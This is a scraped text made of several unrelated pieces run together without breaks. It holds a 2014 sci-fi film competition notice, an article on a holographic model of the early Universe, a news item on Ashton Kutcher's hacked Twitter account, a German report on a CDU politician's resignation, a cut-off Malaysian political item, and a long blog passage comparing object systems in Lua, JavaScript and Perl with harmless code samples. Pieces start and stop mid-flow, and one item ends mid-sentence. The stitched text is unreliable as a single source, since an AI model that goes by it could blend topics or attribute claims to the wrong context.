The competition is open to both live action and machinima entries, and filmmakers are responsible for putting together a team, cast and crew (producers, directors, cinematographers, writers, etc..), as well as securing equipment, locations, and costumes. Each team needs to be represented by a Producer. The challenge sets no limits on age or budget and welcomes all filmmakers.
Films can be submitted by individuals and groups but those wishing to participate must register with the competition by October 3rd, 2014.
When submitting their entires, participants are asked to nominate two of the following themes for their film:
Sci-romance – love between aliens, robots and more! (Can be happy, sad, tragic)
Sci-comedy – sci-fi that is humorous in nature. The Hitchhiker’s Guide to the Galaxy is a good example of sci-fi comedy
Save the Environment: a theme focuses on saving the dying planet and/or ecosystem
Zombie / disease: a theme focuses on the effect of a disease in the future
Apocalyptic / post-apocalyptic sci-fi: stories about the extinction or near extinction of humankind either by forces of nature or by our own means. Post- focuses on telling the tale of the survivors of an apocalypse
Spy-fy: Science fiction about futuristic spies and espionage, and the effects of technological advancement on their professions
Super hero: stories related to super heroes who get their powers from technology or because they are from another world. Often focuses on futuristic superheroes
Robots / AI – fiction in which the science of Artificial Intelligence and robotics is a central theme, typically relating to Robot stories
First contact / alien: the various scenarios in which humanity makes contact with other civilizations
Social sci-fi: – fiction in which future societies are extrapolated, explained and often criticised, usually for the purpose of social satire. The social sciences are the over-riding theme in this type of fiction; however, science and technology will usually play a central role in the structure of the extrapolated society.
Prior to Kick Off of the competition on Friday, 3rd October 2014 at 7 pm (19:00) local time in each participating city and town, the organisers will then e-mail each entrant with one (1) of their nominated subjects/topics. The entrants then have 30 days in which to make and edit their film. All films must be uploaded to YouTube (and set to Private) no later than midnight local time in each participating city and town on Sunday November 2nd November 2014. An e-mail with the YouTube link should be sent to [email protected] as notification of the film’s completion.
Above: Tutsy Navarathna’s “The Residents“, overall winner in the machinima category of the 2013 Project Sci-Fi challenge
The total prize list for the competition comprises (all in Australian dollars):
SciFi Best Film $2000
Project SciFi Runner Up Film $1000
Project SciFi Best Performance – $500
Project SciFi Best Cinematographers – $500
Project SciFi Best Special Effects – $500
Project SciFi Best Production Design/Art Direction – $500
Project SciFi Best Machinima Film – $300
Runner up Machinima Category – $200
In addition, the UWA has determined that machinima makers wishing to enter the same film to both this challenge and the UWA’s Transcending Borders Machinima Challenge may do so, providing the theme requires of both challenges are met in the same film.
Judging will be by a panel of selected jurors, and a special awards ceremony will be held on Sunday, November 16th 2014 at the RiversIde Theatres, Parramatta, commencing at 18:30 local time, as a part of the Parramatta Sci-fi Film Festival.
For further information, please refer to the links below.
Related Links
AdvertisementsFor decades, scientists have been toying with the idea that our Universe is - or once was - a giant hologram, where the laws of physics require just two dimensions, but everything appears three-dimensional to us.
As you can imagine, it's not an easy hypothesis to prove, but physicists say they now have observational evidence from the early Universe that fits just as neatly into the so-called hologram principle as it does with the standard Big Bang model.
"We are proposing using this holographic Universe, which is a very different model of the Big Bang than the popularly accepted one that relies on gravity and inflation," says one of the team, Niayesh Afshordi from the University of Waterloo in Ontario, Canada.
"Each of these models makes distinct predictions that we can test as we refine our data and improve our theoretical understanding - all within the next five years."
To be clear, the researchers aren't saying we're living in a hologram right now. They're suggesting that in the very early stages of the Universe - a few hundred thousand years after the Big Bang - everything was being projected into three dimensions from a two-dimensional boundary.
If you’re not familiar with the whole 'Our Universe is a hologram' saga, back in the 1990s, physicist Leonard Susskind popularised the idea that the laws of physics as we understand them don’t technically require three dimensions.
So how could the Universe appear three-dimensional, but in reality, is only two-dimensional?
The basic idea is that the volume of space is 'encoded' on a boundary - or an observer-dependent gravitational horizon - which means it requires one less dimension than it appears.
So like a 3D hologram projected from a two-dimensional screen, the hypothesis states that the three dimensions of our Universe were projected from a two-dimensional boundary.
Since 1997, more than 10,000 papers have been published supporting the idea, so it’s a lot less crazy than it sounds.
Now Afshordi and his team report that after investigating irregularities in the cosmic microwave background - the 'afterglow' of the Big Bang - they’ve found strong evidence to support a holographic explanation of the early Universe.
"Imagine that everything you see, feel, and hear in three dimensions (and your perception of time) in fact emanates from a flat two-dimensional field," says one of the team, Kostas Skenderis from the University of Southampton in the UK.
"The idea is similar to that of ordinary holograms, where a three-dimensional image is encoded in a two-dimensional surface, such as in the hologram on a credit card. However, this time, the entire Universe is encoded."
Paul McFadden
The reason physicists even entertained the hologram principle in the first place is because, while the standard model of the Big Bang sounds a whole lot more sensible, there are some gaps in it that are so fundamental, they hold our entire understanding of the laws of physics at bay.
According to the Big Bang scenario, chemical reactions caused a massive expansion that seeded the formation of our Universe, and at the very early stages, it inflated at break-neck speed.
While most physicists accept the reality of cosmic inflation, no one’s been able to figure out the exact mechanism responsible for making the Universe expand faster than the speed of light, going from subatomic-sized to golf-ball-sized almost instantaneously.
In fact, just as our current theories of general relativity and quantum mechanics don’t add up when we try to explain the behaviour of enormous things down to their very atoms, these fundamental laws of physics can’t explain how all the ingredients of the Universe could be balled up into a mind-bogglingly small package.
"One [hypothesis] trying to reconcile the two, quantum gravity, says that if you ditch a spatial dimension, you can also ditch gravity in your calculations to make things easier," Ryan F. Mandelbaum explains for Gizmodo.
Enter the hologram principle.
"It’s holographic in the sense that there’s a description of the Universe based on a lower dimensional system consistent with everything we see from the Big Bang," Afshordi told Mandelbaum.
To test how well the hologram principle could explain the happenings of the Big Bang and its aftermath, the team built a model with one time and two space dimensions.
When they inputted actual data from the Universe, including observations from the cosmic microwave background - thermal radiation emitted a few hundred thousand years after the Big Bang - they found that the two fit perfectly.
But there’s a catch - it only fits perfectly when the model Universe is no more than 10 degrees wide.
The researchers say they’re far from proving that our early Universe was actually a holographic projection, but the fact that observational evidence from the real world could explain missing parts of the laws of physics in two dimensions means we can’t reasonably rule it out.
So does that mean there’s a chance we’re all living in a hologram right now? Not quite, says Afshordi - their model only applies to the Universe at its very early stages.
The question of how things transitioned from two dimensions to three is now anyone’s guess.
"I would say you don’t live in a hologram, but you could have come out of a hologram," Afshordi told Gizmodo. "[In 2017], there are definitely three dimensions."
The research has been published in Physical Review Letters.Charlie Sheen now holds a Guinness World Record for fastest to reach 1 million followers on Twitter, but another celebrity who made headlines for reaching 1 million followers back in 2009 might want to keep a closer eye on his account.
Twitter enthusiast and actor Ashton Kutcher, who now has almost 6.4 million followers, had his account hacked while attending the TED conference.
"Ashton, you've been Punk'd. This account is not secure. Dude, where's my SSL?" reads the most recent tweet on his account.
The hacker apparently posted another tweet that said "P.S. This is for those young protesters around the world who deserve not to have their Facebook & Twitter accounts hacked like this. #SSL" - but that has since been deleted.
The hacker was apparently trying to make a point about lax security measures on social-networking sites. As Sophos's Graham Cluley points out, "tools such as Firesheep make it child's play for anybody sitting close to you to jump onto your Facebook or Twitter session if you're using unencrypted WiFi without an SSL connection, for example at a free WiFi hotspot."
Insecure Twitter and Facebook accounts can be tempting for cybercriminals who want to take advantage of the millions of people following celebs like Kutcher, Cluley said. "We should just be grateful that on this occasion the hack appears to have taken place to promote better awareness of the need for better security, rather than with more malicious intent," Cluley wrote.
He said it would be "great" if Twitter "forced the use of HTTPS at all times."
HTTPS keeps data encrypted as it travels between your Web browser and servers and is mostly used for things like banks and credit card company Web sites. Sites that deal with sensitive personal information have typically used HTTPS during the sign-in process to protect password information and reverted back to HTTP afterwards because full encryption can sometimes slow down your experience on that site. Hotmail and Facebook have optional full HTTPS and Gmail last year implemented full-time, opt-out HTTPS.
Last week, New York Sen. Charles Schumer on Monday called on Internet companies like Amazon, Twitter, and Yahoo to encrypt their users' accounts in order to prevent hackers from gaining access to personal information over Wi-Fi networks.
In a Wednesday tweet, Twitter said "users can use Twitter via HTTPS... We've long been working on offering HTTPS as a user setting & will share more soon."
For the top stories in tech, follow us on Twitter at @PCMag.14.08.2011
Affäre mit 16-Jähriger: CDU-Chef Boetticher tritt zurück dpa unplatziert / New Articles
Eine Affäre mit einer 16-Jährigen brach ihm das Genick: Neun Monate vor der Landtagswahl in Schleswig-Holstein tritt CDU-Spitzenkandidat Christian von Boetticher zurück.
Das erklärte der 40-Jährige am Sonntagabend nach einer CDU-Vorstandssitzung in Kiel. Er legt auch sein Amt als Landesvorsitzender der Nord-CDU nieder. Von Boetticher zieht damit auf massiven Druck aus der Partei die Konsequenz aus einem inzwischen beendeten Liebesverhältnis: Der seinerzeit unverheiratete Politiker hatte Anfang 2010 eine Beziehung zu einer damals 16-Jährigen.
Ein solches Verhältnis ist rechtlich zulässig, löste in der Nord-CDU aber trotzdem Unmut und Unverständnis aus. Ministerpräsident Peter Harry Carstensen erklärte, der Vorgang habe mehr als eine nur rechtliche Dimension. Carstensen äußerte auch die Erwartung, dass von Boetticher "die richtigen Schlüsse daraus zieht".
Es lägen "keine Rechtsverstöße vor", sagte ein persönlicher Berater von Boettichers der Nachrichtenagentur dpa. Es könne allenfalls um moralische oder politische Beurteilungen gehen. Im Frühjahr 2010 - also weit vor seiner Kür zum Spitzenkandidaten - habe von Boetticher die Beziehung beendet.
8 Bilder Diese Prominenten stolperten über Sex-Skandale
Für die gemeinsam mit der FDP in Kiel regierende Nord-CDU ist die Entwicklung ein Dreivierteljahr vor der Wahl ein harter Schlag. Zwar gab es parteiintern immer wieder auch Kritik an von Boettichers Führungsstil, aber mit seiner Kür zum Spitzenkandidaten Anfang Mai schien für ihn alles klar zu sein. Der 64-jährige Carstensen hatte auf eine weitere Bewerbung verzichtet. Von Boetticher sollte am 4. November in Lübeck als Spitzenkandidat offiziell bestätigt werden. dpa
Themen FolgenPerkasa president Datuk Ibrahim Ali (right) speaks during a press conference after the 'IJTEMA of 150 Malaysian Muslim Scholars with Dr Zakir Naik' event in Kuala Lumpur April 16, 2017. — Picture by Mohd Yusof Mat Isa
KUALA LUMPUR, April 22 ― Perkasa president Datuk Ibrahim Ali has urged Datuk Seri Dr S. Subramaniam today to step down from the Cabinet if he cannot agree with Putrajaya’s decision to grant permanent residency (PR) to fugitive preacher Dr Zakir Naik.
According to the Malay rights activist,
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or “method” — those are just convenient nicknames for a particular structure we might build with Lua’s primitives.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 ╔═══════════╗... ║ metatable ║ ║ ╟───────────╢ ┌─────╨───────────────────────┐ ║ __index ╫───┤ lookup table ("superclass") │ ╚═══╦═══════╝ ├─────────────────────────────┤ ╔═══════════╗ ║ │ some other method ┼─── function()... end ║ metatable ║ ║ └─────────────────────────────┘ ╟───────────╢ ┌─────╨──────────────────┐ ║ __index ╫───┤ lookup table ("class") │ ╚═══╦═══════╝ ├────────────────────────┤ ║ │ some method ┼─── function()... end ║ └────────────────────────┘ ┌─────╨─────────────────┐ │ base table ("object") │ └───────────────────────┘
Note that a metatable is not the same as a class; it defines behavior, not methods. Conversely, if you try to use a class directly as a metatable, it will probably not do much. (This is pretty different from e.g. Python, where operator overloads are just methods with funny names. One nice thing about the Lua approach is that you can keep interface-like functionality separate from methods, and avoid clogging up arbitrary objects’ namespaces. You could even use a dummy table as a key and completely avoid name collisions.)
Anyway, code!
1 2 3 4 5 6 7 8 9 10 11 local class = { foo = function ( a ) print ( "foo got", a ) end, } local mt = { __index = class } -- setmetatable returns its first argument, so this is nice shorthand local obj1 = setmetatable ({}, mt ) local obj2 = setmetatable ({}, mt ) obj1. foo ( 7 ) -- foo got 7 obj2. foo ( 9 ) -- foo got 9
Wait, wait, hang on. Didn’t I call these methods? How do they get at the object? Maybe Lua has a magical this variable?
Not quite, but this is where the other key feature comes in: method-call syntax. It’s the lightest touch of sugar, just enough to have method invocation.
1 2 3 4 5 6 7 8 9 -- note the colon! a : b ( c, d,...) -- exactly equivalent to this -- (except that `a` is only evaluated once) a. b ( a, c, d,...) -- which of course is really this a [ "b" ]( a, c, d,...)
Now we can write methods that actually do something.
1 2 3 4 5 6 7 8 9 10 local class = { bar = function ( self ) print ( "our score is", self. score ) end, } local mt = { __index = class } local obj1 = setmetatable ({ score = 13 }, mt ) local obj2 = setmetatable ({ score = 25 }, mt ) obj1 : bar () -- our score is 13 obj2 : bar () -- our score is 25
And that’s all you need. Much like Python, methods and data live in the same namespace, and Lua doesn’t care whether obj:method() finds a function on obj or gets one from the metatable’s __index. Unlike Python, the function will be passed self either way, because self comes from the use of : rather than from the lookup behavior.
(Aside: strictly speaking, any Lua value can have a metatable — and if you try to index a non-table, Lua will always consult the metatable’s __index. Strings all have the string library as a metatable, so you can call methods on them: try ("%s %s"):format(1, 2). Numbers, strings, functions, and nil each share a type-specific metatable, and you can only change it with the debug library which is often unavailable, so this is of limited use. But if you’re writing Lua bindings from C, you can give your pointers metatables directly to give them methods implemented in C.)
Of course, writing all this stuff every time is a little tedious and error-prone, so instead you might want to wrap it all up inside a little function. No problem.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 local function make_object ( body ) -- create a metatable local mt = { __index = body } -- create a base table to serve as the object itself local obj = setmetatable ({}, mt ) -- and, done return obj end local Dog = { -- this acts as a "default" value; if obj.barks is missing, __index will -- kick in and find this value on the class. but if obj.barks is assigned -- to, it'll go in the object and shadow the value here. barks = 0, bark = function ( self ) self. barks = self. barks + 1 print ( "woof!" ) end, } local mydog = make_object ( Dog ) mydog : bark () -- woof! mydog : bark () -- woof! mydog : bark () -- woof! print ( mydog. barks ) -- 3 print ( Dog. barks ) -- 0
It works, but it’s fairly barebones. The nice thing is that you can extend it pretty much however you want. I won’t reproduce an entire serious object system here — lord knows there are enough of them floating around — but the implementation I have for my LÖVE games lets me do this:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 local Animal = Object : extend { cries = 0, } -- called automatically by Object function Animal : init () print ( "whoops i couldn't think of anything interesting to put here" ) end -- this is just nice syntax for adding a first argument called'self', then -- assigning this function to Animal.cry function Animal : cry () self. cries = self. cries + 1 end local Cat = Animal : extend {} function Cat : cry () print ( "meow!" ) Cat. __super. cry ( self ) end local cat = Cat () cat : cry () -- meow! cat : cry () -- meow! print ( cat. cries ) -- 2
When I say you can extend it however you want, I mean that. I could’ve implemented Python (2)-style super(Cat, self):cry() syntax; I just never got around to it. I could even make it work with multiple inheritance if I really wanted to — or I could go the complete opposite direction and only implement composition. I could implement descriptors, customizing the behavior of individual table keys. I could add pretty decent syntax for composition/proxying. I am trying very hard to end this section now.
Lua’s philosophy is to… not have a philosophy? It gives you the bare minimum to make objects work, and you can do absolutely whatever you want from there. Lua does have something resembling prototypical inheritance, but it’s not so much a first-class feature as an emergent property of some very simple tools. And since you can make __index be a function, you could avoid the prototypical behavior and do something different entirely.
The very severe downside, of course, is that you have to find or build your own object system — which can get pretty confusing very quickly, what with the multiple small moving parts. Third-party code may also have its own object system with subtly different behavior. (Though, in my experience, third-party code tries very hard to avoid needing an object system at all.)
It’s hard to say what the Lua “culture” is like, since Lua is an embedded language that’s often a little different in each environment. I imagine it has a thousand millicultures, instead. I can say that the tedium of building my own object model has led me into something very “traditional”, with prototypical inheritance and whatnot. It’s partly what I’m used to, but it’s also just really dang easy to get working.
Likewise, while I love properties in Python and use them all the dang time, I’ve yet to use a single one in Lua. They wouldn’t be particularly hard to add to my object model, but having to add them myself (or shop around for an object model with them and also port all my code to use it) adds a huge amount of friction. I’ve thought about designing an interesting ECS with custom object behavior, too, but… is it really worth the effort? For all the power and flexibility Lua offers, the cost is that by the time I have something working at all, I’m too exhausted to actually use any of it.
JavaScript is notable for being preposterously heavily used, yet not having a class block.
Well. Okay. Yes. It has one now. It didn’t for a very long time, and even the one it has now is sugar.
Here’s a vector class again:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 class Vector { constructor ( x, y ) { this. x = x ; this. y = y ; } get magnitude () { return Math. sqrt ( this. x * this. x + this. y * this. y ); } dot ( other ) { return this. x * other. x + this. y * other. y ; } }
In “classic” JavaScript, this would be written as:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 function Vector ( x, y ) { this. x = x ; this. y = y ; } Object. defineProperty ( Vector. prototype,'magnitude', { configurable : true, enumerable : true, get : function () { return Math. sqrt ( this. x * this. x + this. y * this. y ); }, }); Vector. prototype. dot = function ( other ) { return this. x * other. x + this. y * other. y ; };
Hm, yes. I can see why they added class.
In JavaScript, a new type is defined in terms of a function, which is its constructor.
Right away we get into trouble here. There is a very big difference between these two invocations, which I actually completely forgot about just now after spending four hours writing about Python and Lua:
1 2 let vec = Vector ( 3, 4 ); let vec = new Vector ( 3, 4 );
The first calls the function Vector. It assigns some properties to this, which here is going to be window, so now you have a global x and y. It then returns nothing, so vec is undefined.
The second calls Vector with this set to a new empty object, then evaluates to that object. The result is what you’d actually expect.
(You can detect this situation with the strange new.target expression, but I have never once remembered to do so.)
From here, we have true, honest-to-god, first-class prototypical inheritance. The word “prototype” is even right there. When you write this:
1 vec. dot ( vec2 )
JavaScript will look for dot on vec and (presumably) not find it. It then consults vec ‘s prototype, an object you can see for yourself by using Object.getPrototypeOf(). Since vec is a Vector, its prototype is Vector.prototype.
I stress that Vector.prototype is not the prototype for Vector. It’s the prototype for instances of Vector.
(I say “instance”, but the true type of vec here is still just object. If you want to find Vector, it’s automatically assigned to the constructor property of its own prototype, so it’s available as vec.constructor.)
Of course, Vector.prototype can itself have a prototype, in which case the process would continue if dot were not found. A common (and, arguably, very bad) way to simulate single inheritance is to set Class.prototype to an instance of a superclass to get the prototype right, then tack on the methods for Class. Nowadays we can do Object.create(Superclass.prototype).
Now that I’ve been through Python and Lua, though, this isn’t particularly surprising. I kinda spoiled it.
I suppose one difference in JavaScript is that you can tack arbitrary attributes directly onto Vector all you like, and they will remain invisible to instances since they aren’t in the prototype chain. This is kind of backwards from Lua, where you can squirrel stuff away in the metatable.
Another difference is that every single object in JavaScript has a bunch of properties already tacked on — the ones in Object.prototype. Every object (and by “object” I mean any mapping) has a prototype, and that prototype defaults to Object.prototype, and it has a bunch of ancient junk like isPrototypeOf.
(Nit: it’s possible to explicitly create an object with no prototype via Object.create(null).)
Like Lua, and unlike Python, JavaScript doesn’t distinguish between keys found on an object and keys found via a prototype. Properties can be defined on prototypes with Object.defineProperty(), but that works just as well directly on an object, too. JavaScript doesn’t have a lot of operator overloading, but some things like Symbol.iterator also work on both objects and prototypes.
You may, at this point, be wondering what this is. Unlike Lua and Python (and the last language below), this is a special built-in value — a context value, invisibly passed for every function call.
It’s determined by where the function came from. If the function was the result of an attribute lookup, then this is set to the object containing that attribute. Otherwise, this is set to the global object, window. (You can also set this to whatever you want via the call method on functions.)
This decision is made lexically, i.e. from the literal source code as written. There are no Python-style bound methods. In other words:
1 2 3 4 5 // this = obj obj. method () // this = window let meth = obj. method meth ()
Also, because this is reassigned on every function call, it cannot be meaningfully closed over, which makes using closures within methods incredibly annoying. The old approach was to assign this to some other regular name like self (which got syntax highlighting since it’s also a built-in name in browsers); then we got Function.bind, which produced a callable thing with a fixed context value, which was kind of nice; and now finally we have arrow functions, which explicitly close over the current this when they’re defined and don’t change it when called. Phew.
I already showed class syntax, and it’s really just one big macro for doing all the prototype stuff The Right Way. It even prevents you from calling the type without new. The underlying model is exactly the same, and you can inspect all the parts.
1 2 3 4 5 6 7 8 9 10 11 class Vector {... } console. log ( Vector. prototype ); // { dot:..., magnitude:...,... } let vec = new Vector ( 3, 4 ); console. log ( Object. getPrototypeOf ( vec )); // same as Vector.prototype // i don't know why you would subclass vector but let's roll with it class Vectest extends Vector {... } console. log ( Vectest. prototype ); // {... } console. log ( Object. getPrototypeOf ( Vectest. prototype )) // same as Vector.prototype
Alas, class syntax has a couple shortcomings. You can’t use the class block to assign arbitrary data to either the type object or the prototype — apparently it was deemed too confusing that mutations would be shared among instances. Which… is… how prototypes work. How Python works. How JavaScript itself, one of the most popular languages of all time, has worked for twenty-two years. Argh.
You can still do whatever assignment you want outside of the class block, of course. It’s just a little ugly, and not something I’d think to look for with a sugary class.
A more subtle result of this behavior is that a class block isn’t quite the same syntax as an object literal. The check for data isn’t a runtime thing; class Foo { x: 3 } fails to parse. So JavaScript now has two largely but not entirely identical styles of key/value block.
Here’s where things start to come apart at the seams, just a little bit.
JavaScript doesn’t really have an attribute protocol. Instead, it has two… extension points, I suppose.
One is Object.defineProperty, seen above. For common cases, there’s also the get syntax inside a property literal, which does the same thing. But unlike Python’s @property, these aren’t wrappers around some simple primitives; they are the primitives. JavaScript is the only language of these four to have “property that runs code on access” as a completely separate first-class concept.
If you want to intercept arbitrary attribute access (and some kinds of operators), there’s a completely different primitive: the Proxy type. It doesn’t let you intercept attribute access or operators; instead, it produces a wrapper object that supports interception and defers to the wrapped object by default.
It’s cool to see composition used in this way, but also, extremely weird. If you want to make your own type that overloads in or calling, you have to return a Proxy that wraps your own type, rather than actually returning your own type. It’s workable, though — constructors can return whatever object they want, and proxies are transparent enough that instanceof already behaves correctly. (If it didn’t, you could customize instanceof with Symbol.hasInstance — which is really operator overloading, implement yet another completely different way.)
I know the design here is a result of legacy and speed — if any object could intercept all attribute access, then all attribute access would be slowed down everywhere. Fair enough. It still leaves the surface area of the language a bit… bumpy?
It’s a little hard to tell. The original idea of prototypes was interesting, but it was hidden behind some very awkward syntax. Since then, we’ve gotten a bunch of extra features awkwardly bolted on to reflect the wildly varied things the built-in types and DOM API were already doing. We have class syntax, but it’s been explicitly designed to avoid exposing the prototype parts of the model.
I admit I don’t do a lot of heavy JavaScript, so I might just be overlooking it, but I’ve seen virtually no code that makes use of any of the recent advances in object capabilities. Forget about custom iterators or overloading call; I can’t remember seeing any JavaScript in the wild that even uses properties yet. I don’t know if everyone’s waiting for sufficient browser support, nobody knows about them, or nobody cares.
The model has advanced recently, but I suspect JavaScript is still shackled to its legacy of “something about prototypes, I don’t really get it, just copy the other code that’s there” as an object model. Alas! Prototypes are so good. Hopefully class syntax will make it a bit more accessible, as it has in Python.
Perl 5 also doesn’t have an object system and expects you to build your own. But where Lua gives you two simple, powerful tools for building one, Perl 5 feels more like a puzzle with half the pieces missing. Clearly they were going for something, but they only gave you half of it.
In brief, a Perl object is a reference that has been blessed with a package.
I need to explain a few things. Honestly, one of the biggest problems with the original Perl object setup was how many strange corners and unique jargon you had to understand just to get off the ground.
(If you want to try running any of this code, you should stick a use v5.26; as the first line. Perl is very big on backwards compatibility, so you need to opt into breaking changes, and even the mundane say builtin is behind a feature gate.)
A reference in Perl is sort of like a pointer, but its main use is very different. See, Perl has the strange property that its data structures try very hard to spill their contents all over the place. Despite having dedicated syntax for arrays — @foo is an array variable, distinct from the single scalar variable $foo — it’s actually impossible to nest arrays.
1 2 3 my @foo = ( 1, 2, 3, 4 ); my @bar = ( @foo, @foo ); # @bar is now a flat list of eight items: 1, 2, 3, 4, 1, 2, 3, 4
The idea, I guess, is that an array is not one thing. It’s not a container, which happens to hold multiple things; it is multiple things. Anywhere that expects a single value, such as an array element, cannot contain an array, because an array fundamentally is not a single value.
And so we have “references”, which are a form of indirection, but also have the nice property that they’re single values. They add containment around arrays, and in general they make working with most of Perl’s primitive types much more sensible. A reference to a variable can be taken with the \ operator, or you can use [... ] and {... } to directly create references to anonymous arrays or hashes.
1 2 3 my @foo = ( 1, 2, 3, 4 ); my @bar = ( \ @foo, \ @foo ); # @bar is now a nested list of two items: [1, 2, 3, 4], [1, 2, 3, 4]
(Incidentally, this is the sole reason I initially abandoned Perl for Python. Non-trivial software kinda requires nesting a lot of data structures, so you end up with references everywhere, and the syntax for going back and forth between a reference and its contents is tedious and ugly.)
A Perl object must be a reference. Perl doesn’t care what kind of reference — it’s usually a hash reference, since hashes are a convenient place to store arbitrary properties, but it could just as well be a reference to an array, a scalar, or even a sub (i.e. function) or filehandle.
I’m getting a little ahead of myself. First, the other half: blessing and packages.
Perl packages are just namespaces. A package looks like this:
1 2 3 4 5 6 7 package Foo::Bar ; sub quux { say "hi from quux!" ; } # now Foo::Bar::quux() can be called from anywhere
Nothing shocking, right? It’s just a named container. A lot of the details are kind of weird, like how a package exists in some liminal quasi-value space, but the basic idea is a Bag Of Stuff.
The final piece is “blessing,” which is Perl’s funny name for binding a package to a reference. A very basic class might look like this:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 package Vector ; # the name 'new' is convention, not special sub new { # perl argument passing is weird, don't ask my ( $class, $x, $y ) = @_ ; # create the object itself -- here, unusually, an array reference makes sense my $self = [ $x, $y ]; # associate the package with that reference # note that $class here is just the regular string, 'Vector' bless $self, $class ; return $self ; } sub x { my ( $self ) = @_ ; return $self -> [ 0 ]; } sub y { my ( $self ) = @_ ; return $self -> [ 1 ]; } sub magnitude { my ( $self ) = @_ ; return sqrt ( $self -> x ** 2 + $self -> y ** 2 ); } # switch back to the "default" package package main ; # -> is method call syntax, which passes the invocant as the first argument; # for a package, that's just the package name my $vec = Vector -> new ( 3, 4 ); say $vec -> magnitude ; # 5
A few things of note here. First, $self->[0] has nothing to do with objects; it’s normal syntax for getting the value of a index 0 out of an array reference called $self. (Most classes are based on hashrefs and would use $self->{value} instead.) A blessed reference is still a reference and can be treated like one.
In general, -> is Perl’s dereferencey operator, but its exact behavior depends on what follows. If it’s followed by brackets, then it’ll apply the brackets to the thing in the reference: ->{} to index a hash reference, ->[] to index an array reference, and ->() to call a function reference.
But if -> is followed by an identifier, then it’s a method call. For packages, that means calling a function in the package and passing the package name as the first argument. For objects — blessed references — that means calling a function in the associated package and passing the object as the first argument.
This is a little weird! A blessed reference is a superposition of two things: its normal reference behavior, and some completely orthogonal object behavior. Also, object behavior has no notion of methods vs data; it only knows about methods. Perl lets you omit parentheses in a lot of places, including when calling a method with no arguments, so $vec->magnitude is really $vec->magnitude().
Perl’s blessing bears some similarities to Lua’s metatables, but ultimately Perl is much closer to Ruby’s “message passing” approach than the above three languages’ approaches of “get me something and maybe it’ll be callable”. (But this is no surprise — Ruby is a spiritual successor to Perl 5.)
All of this leads to one little wrinkle: how do you actually expose data? Above, I had to write x and y methods. Am I supposed to do that for every single attribute on my type?
Yes! But don’t worry, there are third-party modules to help with this incredibly fundamental task. Take Class::Accessor::Fast, so named because it’s faster than Class::Accessor :
1 2 3 package Foo ; use base qw(Class::Accessor::Fast) ; __PACKAGE__ -> mk_accessors ( qw(fred wilma barney) );
( __PACKAGE__ is the lexical name of the current package; qw(...) is a list literal that splits its contents on whitespace.)
This assumes you’re using a hashref with keys of the same names as the attributes. $obj->fred will return the fred key from your hashref, and $obj->fred(4) will change it to 4.
You also, somewhat bizarrely, have to inherit from Class::Accessor::Fast. Speaking of which,
Inheritance is done by populating the package-global @ISA array with some number of (string) names of parent packages. Most code instead opts to write use base...;, which does the same thing. Or, more commonly, use parent...;, which… also… does the same thing.
Every package implicitly inherits from UNIVERSAL, which can be freely modified by Perl code.
A method can call its superclass method with the SUPER:: pseudo-package:
1 2 3 4 sub foo { my ( $self ) = @_ ; $self -> SUPER:: foo ; }
However, this does a depth-first search, which means it almost certainly does the wrong thing when faced with multiple inheritance. For a while the accepted solution involved a third-party module, but Perl eventually grew an alternative you have to opt into: C3, which may be more familiar to you as the order Python uses.
1 2 3 4 5 6 use mro 'c3' ; sub foo { my ( $self ) = @_ ; $self -> next :: method ; }
Offhand, I’m not actually sure how next::method works, seeing as it was originally implemented in pure Perl code. I suspect it involves peeking at the caller’s stack frame. If so, then this is a very different style of customizability from e.g. Python — the MRO was never intended to be pluggable, and the use of a special pseudo-package means it isn’t really, but someone was determined enough to make it happen anyway.
Operator overloading looks a little weird, though really it’s pretty standard Perl.
1 2 3 4 5 6 7 8 package MyClass ; use overload '+' => \& _add ; sub _add { my ( $self, $other, $swap ) = @_ ;... }
use overload here is a pragma, where “pragma” means “regular-ass module that does some wizardry when imported”.
\&_add is how you get a reference to the _add sub so you can pass it to the overload module. If you just said &_add or _add, that would call it.
And that’s it; you just pass a map of operators to functions to this built-in module. No worry about name clashes or pollution, which is pretty nice. You don’t even have to give references to functions that live in the package, if you don’t want them to clog your namespace; you could put them in another package, or even inline them anonymously.
One especially interesting thing is that Perl lets you overload every operator. Perl has a lot of operators. It considers some math builtins like sqrt and trig functions to be operators, or at least operator-y enough that you can overload them. You can also overload the “file test” operators, such as -e $path to test whether a file exists. You can overload conversions, including implicit conversion to a regex. And most fascinating to me, you can overload dereferencing — that is, the thing Perl does when you say $hashref->{key} to get at the underlying hash. So a single object could pretend to be references of multiple different types, including a subref to implement callability. Neat.
Somewhat related: you can overload basic operators (indexing, etc.) on basic types (not references!) with the tie function, which is designed completely differently and looks for methods with fixed names. Go figure.
You can intercept calls to nonexistent methods by implementing a function called AUTOLOAD, within which the $AUTOLOAD global will contain the name of the method being called. Originally this feature was, I think, intended for loading binary components or large libraries on-the-fly only when needed, hence the name. Offhand I’m not sure I ever saw it used the way __getattr__ is used in Python.
Is there a way to intercept all method calls? I don’t think so, but it is Perl, so I must be forgetting something.
Like a decade ago, a council of elder sages sat down and put together a whole whizbang system that covers all of it: Moose.
1 2 3 4 5 6 7 8 9 10 package Vector ; use Moose ; has x => ( is => 'rw', isa => 'Int' ); has y => ( is => 'rw', isa => 'Int' ); sub magnitude { my ( $self ) = @_ ; return sqrt ( $self -> x ** 2 + $self -> y ** 2 ); }
Moose has its own way to do pretty much everything, and it’s all built on the same primitives. Moose also adds metaclasses, somehow, despite that the underlying model doesn’t actually support them? I’m not entirely sure how they managed that, but I do remember doing some class introspection with Moose and it was much nicer than the built-in way.
(If you’re wondering, the built-in way begins with looking at the hash called %Vector::. No, that’s not a typo.)
I really cannot stress enough just how much stuff Moose does, but I don’t want to delve into it here since Moose itself is not actually the language model.
I hope you can see what I meant with what I first said about Perl, now. It has multiple inheritance with an MRO, but uses the wrong one by default. It has extensive operator overloading, which looks nothing like how inheritance works, and also some of it uses a totally different mechanism with special method names instead. It only understands methods, not data, leaving you to figure out accessors by hand.
There’s 70% of an object system here with a clear general design it was gunning for, but none of the pieces really look anything like each other. It’s weird, in a distinctly Perl way.
